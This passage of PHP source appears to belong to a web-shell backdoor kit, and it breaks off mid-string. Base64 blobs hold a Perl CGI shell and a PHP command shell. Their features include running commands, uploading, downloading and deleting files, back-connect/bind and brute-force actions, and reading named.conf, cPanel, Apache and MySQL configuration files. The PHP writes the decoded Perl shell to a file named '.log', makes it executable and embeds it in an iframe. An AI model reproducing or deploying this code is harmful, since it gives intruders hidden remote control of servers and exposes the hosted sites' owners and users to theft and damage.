iwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsKCQlyZXR1cm4gJGxtdGltZTsKCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgRmlsZVNpemUoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1mICRmaWxlKQoJewoJCXJldHVybiAtcyAiJGZpbGUiOwoJfQoJcmV0dXJuICIwIjsKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgVHJpbVNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXC9cLy9cLy9nOwoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIuJFBhdGhTZXApOwoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7CglpZigtZCAkcGF0aCkKCXsKCQlteSBAZm5hbWUgPSAoKTsKCQlteSBAZG5hbWUgPSAoKTsKCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpCgkJewoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQkJewoJCQkJJGY9JHBhdGguJGZpbGU7CgkJCQlpZigtZCAkZikKCQkJCXsKCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOwoJCQkJfQoJCQl9CgkJCWNsb3NlZGlyKERJUik7CgkJfQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsKCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7CgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPgoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+CgkJPHRoIHdpZHRoPScxMDAnPkZpbGUgU2l6ZTwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPk93bmVyPC90aD4KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPkxhc3QgTW9kaWZpZWQ8L3RoPgoJCTx0aCB3aWR0aD0nMjMwJz5BY3Rpb248L3RoPjwvdHI+IjsKCQlteSAkc3R5bGU9Im5vdGxpbmUiOwoJCW15ICRpPTA7CgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGQgPSAmdHJpbSgkZCk7CgkJCSRkaXJuYW1lPSRkOwoJCQlpZigkZCBlcSAiLi4iKSAKCQkJewoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsKCQkJfQoJCQllbHNpZigkZCBlcSAiLiIpIAoJCQl7CgkJCQluZXh0OwoJCQl9CgkJCWVsc2UgCgkJCXsKCQkJCSRkID0gJHBhdGguJGQ7CgkJCX0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgY2xhc3M9J2Rpcic+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkZCkuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsKCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOwoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKTsgcmV0dXJuIGZhbHNlO1wiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGQwbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPldhcm5pbmcgISBTaGVsbCBpcyB1c2VkIHRvIHJlZmVyIG5vdCB0byBoYWNrPC9mb250PjwvaDM+IjsKCWlmICgkZXJyKQoJewoJCSRyZXN1bHQgLj0gICgnPHA+QzB1bGRuXCd0IEJ5cGFzcyBpdCAsIFNvcnJ5PC9wPicpOwoJCXJldHVybiAkcmVzdWx0OwoJfWVsc2UKCXsKCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsKCX0KCWZvcmVhY2ggbXkgJG9uZSAoQGNuenMpCgl7CgkJaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7LykKCQl7CQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZmlsZW5hbWU9IHRyaW0oIi9ldGMvdmFsaWFzZXMvIi4kMSk7CgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsKCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOwoJCX0KCX0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBWaWV3IExvZwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3TG9nCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCWlmKCRXaW5OVCkKCXsKCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOwoJfQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsKCW15IEBwYXRobG9nPSgJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZTIvY29uZi9odHRwZC5jb25mJywKCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xpY2Vuc2VfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywKCQkJJy92YXIvY3BhbmVsL2NwYW5lbC5jb25maWcnLAoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLAoJCQknL3Vzci9sb2NhbC9waHA1L2xpYi9waHAuaW5pJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywKCQkJJy92YXIvbG9nL215c3FsZGVycm9yLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLAoJCQknL3Zhci9teXNxbC5sb2cnLAoJCQknL3Zhci9saWIvbXlzcWwvbXkuY25mJywKCQkJJy9ldGMvbXlzcWwvbXkuY25mJywKCQkJJy9ldGMvbXkuY25mJywKCQkJKTsKCW15ICRpPTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJCWlmKC1yICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJfQoJCSRyZXN1bHQgLj08PEVORDsKCQk8dHI+CgoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+CgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImxvZyRpIiBuYW1lPSJjIiB2YWx1ZT0idGFpbCAtMTAwMDAgJGxvZyB8IGdyZXAgJy9ob21lJyIgc2l6ZT0nNTAnLz48L3RkPgoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJfQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsnYSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZUcmltU2xhc2hlcyhkZWNvZGVfYmFzZTY0KHRyaW0oJGlueydkJ30pKSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9tcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbgp7CgkmUGVyZm9ybUxvZ2luOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5CnsKCSZQcmludFBhZ2VIZWFkZXIoImQiKTsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCRjaG1vZCBuZSAwKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQlpZihjaG1vZCgkY2htb2QsJGZpbGUpKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZigkcmVuYW1lIG5lICIiKQoJewoJCWlmKHJlbmFtZSgkVHJhbnNmZXJGaWxlLCRyZW5hbWUpKQoJCXsKCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCX1lbHNlCgkJewoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCX0KCX0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsKCWlmKCRyZW1vdmUgbmUgIiIpCgl7CgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsKCQlpZigtZCAkcm0pCgkJewoJCQkmUm1EaXIoJHJtKTsKCQl9ZWxzZQoJCXsKCQkJaWYodW5saW5rKCRybSkpCgkJCXsKCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQkJfWVsc2UKCQkJewoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQkJfQkJCQoJCX0KCX0KCXByaW50ICZMaXN0RGlyOwoKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZAp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7Cn0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQoJewoJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCX1lbHNlCgl7CgkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCX0KCXByaW50ICZMaXN0RGlyOwp9ZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CglwcmludCAmVXBsb2FkRmlsZTsKfWVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOwoK';
1372 $file = fopen("monteamCGI.log", "w+");
1373 $write = fwrite($file, base64_decode($pythonp));
1374 fclose($file);
1375 chmod("monteamCGI.log", 0755);
1376 echo "<iframe src=monteam/monteamCGI.log width=100% height=720px frameborder=0></iframe> ";
1377} elseif ($action == 'newcommand') {
1378 $file = fopen($dir . "command.php", "w+");
1379 $perltoolss = 'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygn